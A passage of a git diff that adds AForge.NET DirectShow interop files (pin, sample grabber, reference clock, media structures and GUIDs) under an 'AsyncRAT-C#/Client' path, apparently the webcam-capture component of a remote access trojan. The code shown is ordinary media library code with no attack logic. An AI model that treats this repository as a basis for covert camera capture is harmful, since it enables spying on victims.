code. + /// + [PreserveSig] + int CancelDefaultHandling( int lEvCode ); + + /// + /// Restores the Filter Graph Manager's default handling for a specified event. + /// + /// Event code for which to restore default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RestoreDefaultHandling( int lEvCode ); + + /// + /// Frees resources associated with the parameters of an event. + /// + /// Event code. + /// First event parameter. + /// Second event parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); + + /// + /// Registers a window to process event notifications. + /// + /// + /// Handle to the window, or to stop receiving event messages. + /// Window message to be passed as the notification. + /// Value to be passed as the lParam parameter for the lMsg message. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); + + /// + /// Enables or disables event notifications. + /// + /// + /// Value indicating whether to enable or disable event notifications. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyFlags( int lNoNotifyFlags ); + + /// + /// Determines whether event notifications are enabled. + /// + /// + /// Variable that receives current notification status. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNotifyFlags( out int lplNoNotifyFlags ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs new file mode 100644 index 0000000..ceed73f --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs @@ -0,0 +1,191 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is exposed by all input and output pins of DirectShow filters. + /// + /// + [ComImport, + Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPin + { + /// + /// Connects the pin to another pin. + /// + /// + /// Other pin to connect to. + /// Type to use for the connections (optional). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Makes a connection to this pin and is called by a connecting pin. + /// + /// + /// Connecting pin. + /// Media type of the samples to be streamed. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the current pin connection. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( ); + + /// + /// Returns a pointer to the connecting pin. + /// + /// + /// Receives IPin interface of connected pin (if any). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectedTo( [Out] out IPin pin ); + + /// + /// Returns the media type of this pin's connection. + /// + /// + /// Pointer to an structure. If the pin is connected, + /// the media type is returned. Otherwise, the structure is initialized to a default state in which + /// all elements are 0, with the exception of lSampleSize, which is set to 1, and + /// FixedSizeSamples, which is set to true. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves information about this pin (for example, the name, owning filter, and direction). + /// + /// + /// structure that receives the pin information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryPinInfo( [Out] out PinInfo pinInfo ); + + /// + /// Retrieves the direction for this pin. + /// + /// + /// Receives direction of the pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryDirection( out PinDirection pinDirection ); + + /// + /// Retrieves an identifier for the pin. + /// + /// + /// Pin identifier. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); + + /// + /// Queries whether a given media type is acceptable by the pin. + /// + /// + /// structure that specifies the media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Provides an enumerator for this pin's preferred media types. + /// + /// + /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumMediaTypes( IntPtr enumerator ); + + /// + /// Provides an array of the pins to which this pin internally connects. + /// + /// + /// Address of an array of IPin pointers. + /// On input, specifies the size of the array. When the method returns, + /// the value is set to the number of pointers returned in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); + + /// + /// Notifies the pin that no additional data is expected. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndOfStream( ); + + /// + /// Begins a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BeginFlush( ); + + /// + /// Ends a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndFlush( ); + + /// + /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. + /// + /// + /// Start time of the segment, relative to the original source, in 100-nanosecond units. + /// End time of the segment, relative to the original source, in 100-nanosecond units. + /// Rate at which this segment should be processed, as a percentage of the original rate. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NewSegment( + long start, + long stop, + double rate ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs new file mode 100644 index 0000000..faea69d --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs @@ -0,0 +1,53 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IPropertyBag interface provides an object with a property bag in + /// which the object can persistently save its properties. + /// + /// + [ComImport, + Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPropertyBag + { + /// + /// Read a property from property bag. + /// + /// + /// Property name to read. + /// Property value. + /// Caller's error log. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Read( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, + [In] IntPtr pErrorLog ); + + /// + /// Write property to property bag. + /// + /// + /// Property name to read. + /// Property value. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Write( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs new file mode 100644 index 0000000..cb0328f --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs @@ -0,0 +1,87 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IReferenceClock interface provides the reference time for the filter graph. + /// + /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. + /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to + /// retrieve the current reference time, or to request notification of an elapsed time. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IReferenceClock + { + /// + /// The GetTime method retrieves the current reference time. + /// + /// + /// Pointer to a variable that receives the current time, in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetTime( [Out] out long pTime ); + + /// + /// The AdviseTime method creates a one-shot advise request. + /// + /// + /// Base reference time, in 100-nanosecond units. See Remarks. + /// Stream offset time, in 100-nanosecond units. See Remarks. + /// Handle to an event, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdviseTime( + [In] long baseTime, + [In] long streamTime, + [In] IntPtr hEvent, + [Out] out int pdwAdviseCookie ); + + /// + /// The AdvisePeriodic method creates a periodic advise request. + /// + /// + /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. + /// Time between notifications, in 100-nanosecond units. Must be greater than zero. + /// Handle to a semaphore, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdvisePeriodic( + [In] long startTime, + [In] long periodTime, + [In] IntPtr hSemaphore, + [Out] out int pdwAdviseCookie ); + + /// + /// The Unadvise method removes a pending advise request. + /// + /// + /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Unadvise( [In] int dwAdviseCookie ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs new file mode 100644 index 0000000..07854ac --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs @@ -0,0 +1,103 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve + /// individual media samples as they move through the filter graph. + /// + /// + [ComImport, + Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabber + { + /// + /// Specifies whether the filter should stop the graph after receiving one sample. + /// + /// + /// Boolean value specifying whether the filter should stop the graph after receiving one sample. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); + + /// + /// Specifies the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// Specifies the required media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// structure, which receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Specifies whether to copy sample data into a buffer as it goes through the filter. + /// + /// + /// Boolean value specifying whether to buffer sample data. + /// If true, the filter copies sample data into an internal buffer. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); + + /// + /// Retrieves a copy of the sample that the filter received most recently. + /// + /// + /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. + /// Pointer to a buffer to receive a copy of the sample, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); + + /// + /// Not currently implemented. + /// + /// + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentSample( IntPtr sample ); + + /// + /// Specifies a callback method to call on incoming samples. + /// + /// + /// interface containing the callback method, or NULL to cancel the callback. + /// Index specifying the callback method. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs new file mode 100644 index 0000000..4dc7340 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides callback methods for the method. + /// + /// + [ComImport, + Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabberCB + { + /// + /// Callback method that receives a pointer to the media sample. + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to the sample's IMediaSample interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SampleCB( double sampleTime, IntPtr sample ); + + /// + /// Callback method that receives a pointer to the sample bufferþ + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to a buffer that contains the sample data. + /// Length of the buffer pointed to by buffer, in bytes + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs new file mode 100644 index 0000000..ecb0739 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs @@ -0,0 +1,36 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface indicates that an object supports property pages. + /// + /// + [ComImport, + Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ISpecifyPropertyPages + { + /// + /// Fills a counted array of GUID values where each GUID specifies the + /// CLSID of each property page that can be displayed in the property + /// sheet for this object. + /// + /// + /// Pointer to a CAUUID structure that must be initialized + /// and filled before returning. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetPages( out CAUUID pPages ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs new file mode 100644 index 0000000..530283c --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs @@ -0,0 +1,518 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Drawing; + + // PIN_DIRECTION + + /// + /// This enumeration indicates a pin's direction. + /// + /// + [ComVisible( false )] + internal enum PinDirection + { + /// + /// Input pin. + /// + Input, + + /// + /// Output pin. + /// + Output + } + + // AM_MEDIA_TYPE + + /// + /// The structure describes the format of a media sample. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal class AMMediaType : IDisposable + { + /// + /// Globally unique identifier (GUID) that specifies the major type of the media sample. + /// + public Guid MajorType; + + /// + /// GUID that specifies the subtype of the media sample. + /// + public Guid SubType; + + /// + /// If true, samples are of a fixed size. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool FixedSizeSamples = true; + + /// + /// If true, samples are compressed using temporal (interframe) compression. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool TemporalCompression; + + /// + /// Size of the sample in bytes. For compressed data, the value can be zero. + /// + public int SampleSize = 1; + + /// + /// GUID that specifies the structure used for the format block. + /// + public Guid FormatType; + + /// + /// Not used. + /// + public IntPtr unkPtr; + + /// + /// Size of the format block, in bytes. + /// + public int FormatSize; + + /// + /// Pointer to the format block. + /// + public IntPtr FormatPtr; + + /// + /// Destroys the instance of the class. + /// + /// + ~AMMediaType( ) + { + Dispose( false ); + } + + /// + /// Dispose the object. + /// + /// + public void Dispose( ) + { + Dispose( true ); + // remove me from the Finalization queue + GC.SuppressFinalize( this ); + } + + /// + /// Dispose the object + /// + /// + /// Indicates if disposing was initiated manually. + /// + protected virtual void Dispose( bool disposing ) + { + if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) + { + Marshal.FreeCoTaskMem( FormatPtr ); + FormatSize = 0; + } + + if ( unkPtr != IntPtr.Zero ) + { + Marshal.Release( unkPtr ); + unkPtr = IntPtr.Zero; + } + } + } + + + // PIN_INFO + + /// + /// The structure contains information about a pin. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct PinInfo + { + /// + /// Owning filter. + /// + public IBaseFilter Filter; + + /// + /// Direction of the pin. + /// + public PinDirection Direction; + + /// + /// Name of the pin. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + } + + // FILTER_INFO + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct FilterInfo + { + /// + /// Filter's name. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + + /// + /// Owning graph. + /// + public IFilterGraph FilterGraph; + } + + // VIDEOINFOHEADER + + /// + /// The structure describes the bitmap and color information for a video image. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + // VIDEOINFOHEADER2 + + /// + /// The structure describes the bitmap and color information for a video image (v2). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader2 + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// Flags that specify how the video is interlaced. + /// + public int InterlaceFlags; + + /// + /// Flag set to indicate that the duplication of the stream should be restricted. + /// + public int CopyProtectFlags; + + /// + /// The X dimension of picture aspect ratio. + /// + public int PictAspectRatioX; + + /// + /// The Y dimension of picture aspect ratio. + /// + public int PictAspectRatioY; + + /// + /// Reserved for future use. + /// + public int Reserved1; + + /// + /// Reserved for future use. + /// + public int Reserved2; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + /// + /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 2 )] + internal struct BitmapInfoHeader + { + /// + /// Specifies the number of bytes required by the structure. + /// + public int Size; + + /// + /// Specifies the width of the bitmap. + /// + public int Width; + + /// + /// Specifies the height of the bitmap, in pixels. + /// + public int Height; + + /// + /// Specifies the number of planes for the target device. This value must be set to 1. + /// + public short Planes; + + /// + /// Specifies the number of bits per pixel. + /// + public short BitCount; + + /// + /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. + /// + public int Compression; + + /// + /// Specifies the size, in bytes, of the image. + /// + public int ImageSize; + + /// + /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. + /// + public int XPelsPerMeter; + + /// + /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. + /// + public int YPelsPerMeter; + + /// + /// Specifies the number of color indices in the color table that are actually used by the bitmap. + /// + public int ColorsUsed; + + /// + /// Specifies the number of color indices that are considered important for displaying the bitmap. + /// + public int ColorsImportant; + } + + // RECT + + /// + /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct RECT + { + /// + /// Specifies the x-coordinate of the upper-left corner of the rectangle. + /// + public int Left; + + /// + /// Specifies the y-coordinate of the upper-left corner of the rectangle. + /// + public int Top; + + /// + /// Specifies the x-coordinate of the lower-right corner of the rectangle. + /// + public int Right; + + /// + /// Specifies the y-coordinate of the lower-right corner of the rectangle. + /// + public int Bottom; + } + + // CAUUID + + /// + /// The CAUUID structure is a Counted Array of UUID or GUID types. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct CAUUID + { + /// + /// Size of the array pointed to by pElems. + /// + public int cElems; + + /// + /// Pointer to an array of UUID values, each of which specifies UUID. + /// + public IntPtr pElems; + + /// + /// Performs manual marshaling of pElems to retrieve an array of Guid objects. + /// + /// + /// A managed representation of pElems. + /// + public Guid[] ToGuidArray( ) + { + Guid[] retval = new Guid[cElems]; + + for ( int i = 0; i < cElems; i++ ) + { + IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); + retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); + } + + return retval; + } + } + + /// + /// Enumeration of DirectShow event codes. + /// + internal enum DsEvCode + { + None, + Complete = 0x01, // EC_COMPLETE + DeviceLost = 0x1F, // EC_DEVICE_LOST + //(...) not yet interested in other events + } + + [Flags, ComVisible( false )] + internal enum AnalogVideoStandard + { + None = 0x00000000, // This is a digital sensor + NTSC_M = 0x00000001, // 75 IRE Setup + NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup + NTSC_433 = 0x00000004, + PAL_B = 0x00000010, + PAL_D = 0x00000020, + PAL_G = 0x00000040, + PAL_H = 0x00000080, + PAL_I = 0x00000100, + PAL_M = 0x00000200, + PAL_N = 0x00000400, + PAL_60 = 0x00000800, + SECAM_B = 0x00001000, + SECAM_D = 0x00002000, + SECAM_G = 0x00004000, + SECAM_H = 0x00008000, + SECAM_K = 0x00010000, + SECAM_K1 = 0x00020000, + SECAM_L = 0x00040000, + SECAM_L1 = 0x00080000, + PAL_N_COMBO = 0x00100000 // Argentina + } + + [Flags, ComVisible( false )] + internal enum VideoControlFlags + { + FlipHorizontal = 0x0001, + FlipVertical = 0x0002, + ExternalTriggerEnable = 0x0004, + Trigger = 0x0008 + } + + [StructLayout( LayoutKind.Sequential ), ComVisible( false )] + internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS + { + public Guid Guid; + public AnalogVideoStandard VideoStandard; + public Size InputSize; + public Size MinCroppingSize; + public Size MaxCroppingSize; + public int CropGranularityX; + public int CropGranularityY; + public int CropAlignX; + public int CropAlignY; + public Size MinOutputSize; + public Size MaxOutputSize; + public int OutputGranularityX; + public int OutputGranularityY; + public int StretchTapsX; + public int StretchTapsY; + public int ShrinkTapsX; + public int ShrinkTapsY; + public long MinFrameInterval; + public long MaxFrameInterval; + public int MinBitsPerSecond; + public int MaxBitsPerSecond; + } + + /// + /// Specifies a filter's state or the state of the filter graph. + /// + internal enum FilterState + { + /// + /// Stopped. The filter is not processing data. + /// + State_Stopped, + + /// + /// Paused. The filter is processing data, but not rendering it. + /// + State_Paused, + + /// + /// Running. The filter is processing and rendering data. + /// + State_Running + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs new file mode 100644 index 0000000..8dc1874 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs @@ -0,0 +1,299 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow class IDs. + /// + [ComVisible( false )] + static internal class Clsid + { + /// + /// System device enumerator. + /// + /// + /// Equals to CLSID_SystemDeviceEnum. + /// + public static readonly Guid SystemDeviceEnum = + new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Filter graph. + /// + /// + /// Equals to CLSID_FilterGraph. + /// + public static readonly Guid FilterGraph = + new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Sample grabber. + /// + /// + /// Equals to CLSID_SampleGrabber. + /// + public static readonly Guid SampleGrabber = + new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); + + /// + /// Capture graph builder. + /// + /// + /// Equals to CLSID_CaptureGraphBuilder2. + /// + public static readonly Guid CaptureGraphBuilder2 = + new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// + /// Async reader. + /// + /// + /// Equals to CLSID_AsyncReader. + /// + public static readonly Guid AsyncReader = + new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow format types. + /// + /// + [ComVisible( false )] + static internal class FormatType + { + /// + /// VideoInfo. + /// + /// + /// Equals to FORMAT_VideoInfo. + /// + public static readonly Guid VideoInfo = + new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); + + /// + /// VideoInfo2. + /// + /// + /// Equals to FORMAT_VideoInfo2. + /// + public static readonly Guid VideoInfo2 = + new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + /// + /// DirectShow media types. + /// + /// + [ComVisible( false )] + static internal class MediaType + { + /// + /// Video. + /// + /// + /// Equals to MEDIATYPE_Video. + /// + public static readonly Guid Video = + new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Interleaved. Used by Digital Video (DV). + /// + /// + /// Equals to MEDIATYPE_Interleaved. + /// + public static readonly Guid Interleaved = + new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Audio. + /// + /// + /// Equals to MEDIATYPE_Audio. + /// + public static readonly Guid Audio = + new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Text. + /// + /// + /// Equals to MEDIATYPE_Text. + /// + public static readonly Guid Text = + new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Byte stream with no time stamps. + /// + /// + /// Equals to MEDIATYPE_Stream. + /// + public static readonly Guid Stream = + new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow media subtypes. + /// + /// + [ComVisible( false )] + static internal class MediaSubType + { + /// + /// YUY2 (packed 4:2:2). + /// + /// + /// Equals to MEDIASUBTYPE_YUYV. + /// + public static readonly Guid YUYV = + new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// IYUV. + /// + /// + /// Equals to MEDIASUBTYPE_IYUV. + /// + public static readonly Guid IYUV = + new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// A DV encoding format. (FOURCC 'DVSD') + /// + /// + /// Equals to MEDIASUBTYPE_DVSD. + /// + public static readonly Guid DVSD = + new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// RGB, 1 bit per pixel (bpp), palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB1. + /// + public static readonly Guid RGB1 = + new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 4 bpp, palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB4. + /// + public static readonly Guid RGB4 = + new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 8 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB8. + /// + public static readonly Guid RGB8 = + new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 565, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB565. + 